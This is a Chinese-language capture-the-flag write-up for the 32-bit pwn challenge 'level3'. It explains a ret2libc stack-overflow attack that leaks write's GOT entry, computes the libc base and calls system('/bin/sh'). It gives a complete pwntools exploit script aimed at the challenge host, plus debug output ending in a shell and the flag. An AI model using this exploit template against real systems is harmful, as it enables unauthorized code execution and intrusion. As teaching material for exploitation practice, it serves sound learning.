从题目中可以看出,本题应该是一个没有提供system函数地址的栈溢出题目,那么我们本题的考点应该是从libc中提取system函数地址。
照例检查保护机制
root@mypwn:/ctf/work/python# checksec level3
[*] '/ctf/work/python/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只是开启了NX,那就没错了,可以执行栈溢出。打开ida看下
反编译c语言代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
我们可以看到确实存在溢出漏洞read函数,这里我们再确认一下三要素,检查程序会发现system和/bin/sh两个要素都不存在。
看下给我们发送的附件中有两个文件:
root@mypwn:/ctf/work/python# tar -xvf abc5679e28914de781c5df8c9c951216.gz
./level3
./libc_32.so.6
我们可以看到,题目给的附件已经把libc文件都给到我们了,那接下来我们就需要从libc的so文件中找到system和/bin/sh的偏移地址。构造python脚本如下:
libc = ELF("libc_32.so.6")
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
因为libc的so文件是作为动态库载入的,所以在偏移地址的基础上,还需要找到库的基地址。这里就需要先构造一个payload去获取动态库中的特定函数地址,我们选择在文件中已经使用了的write函数。
elf = ELF("level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
注意到我们给write函数p32(write_plt)这里传递了四个参数,第一个参数p32(main_addr)是返回地址,第三个参数是打印的write函数在libc库中的动态地址。
用c语言写这个调用语句为:
write(1, write_got, 4)
根据payload我们构造python脚本如下
#!python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
cmd_remote = process("level3")
# cmd_remote = remote("111.198.29.45", 41212)
libc = ELF("libc_32.so.6")
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
elf = ELF("level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
cmd_remote.sendlineafter("Input:\n", payload)
cmd_remote.interactive()
执行结果如下:
[DEBUG] Received 0x7 bytes:
'Input:\n'
[DEBUG] Sent 0xa1 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 83 04 08 │AAAA│AAAA│AAAA│@···│
00000090 84 84 04 08 01 00 00 00 18 a0 04 08 41 41 41 41 │····│····│····│AAAA│
000000a0 0a │·│
000000a1
[DEBUG] Received 0xb bytes:
00000000 80 5d 5d f7 49 6e 70 75 74 3a 0a │·]]·│Inpu│t:·│
0000000b
这里打印出来的80 bd 5d f7就是write函数在libc库中的动态地址,那我们继续计算出libc库的基地址:
write_addr = u32(cmd_remote.recv()[0:4])
write_offset = libc.symbols["write"]
libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
到这里,我么已经汇集了栈溢出的三要素,构造我们的第二个栈溢出的payload:
payload = "A"*(0x88+4) + p32(system_addr) + "A"*4 + p32(binsh_addr)
合并上面的几个部分,我们编写EXP脚本:
!python
!/usr/bin/env python
coding=utf-8
from pwn import *
context.log_level = "debug"
cmd_remote = remote("111.198.29.45", 41212)
libc = ELF("libc_32.so.6")
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
elf = ELF("level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
cmd_remote.sendlineafter("Input:\n", payload)
write_addr = u32(cmd_remote.recv()[0:4])
write_offset = libc.symbols["write"]
libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
payload = "A"*(0x88+4) + p32(system_addr) + "A"*4 + p32(binsh_addr)
cmd_remote.sendline(payload)
cmd_remote.interactive()
运行EXP结果:
root@mypwn:/ctf/work/python# python level3.py
[+] Opening connection to 111.198.29.45 on port 41212: Done
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/ctf/work/python/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 __gmon_start__
[DEBUG] PLT 0x8048330 __libc_start_main
[DEBUG] PLT 0x8048340 write
[*] '/ctf/work/python/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0x7 bytes:
'Input:\n'
[DEBUG] Sent 0xa1 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 83 04 08 │AAAA│AAAA│AAAA│@···│
00000090 84 84 04 08 01 00 00 00 18 a0 04 08 04 00 00 00 │····│····│····│····│
000000a0 0a │·│
000000a1
[DEBUG] Received 0x4 bytes:
00000000 c0 83 63 f7 │··c·││
00000004
[DEBUG] Sent 0x99 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 e9 59 f7 │AAAA│AAAA│AAAA│@·Y·│
00000090 41 41 41 41 2b d0 6b f7 0a │AAAA│+·k·│·│
00000099
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
'Input:\n'
Input:
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{9290b10c10be531d9749b41dfc3a8734}\n'
cyberpeace{9290b10c10be531d9749b41dfc3a8734}
$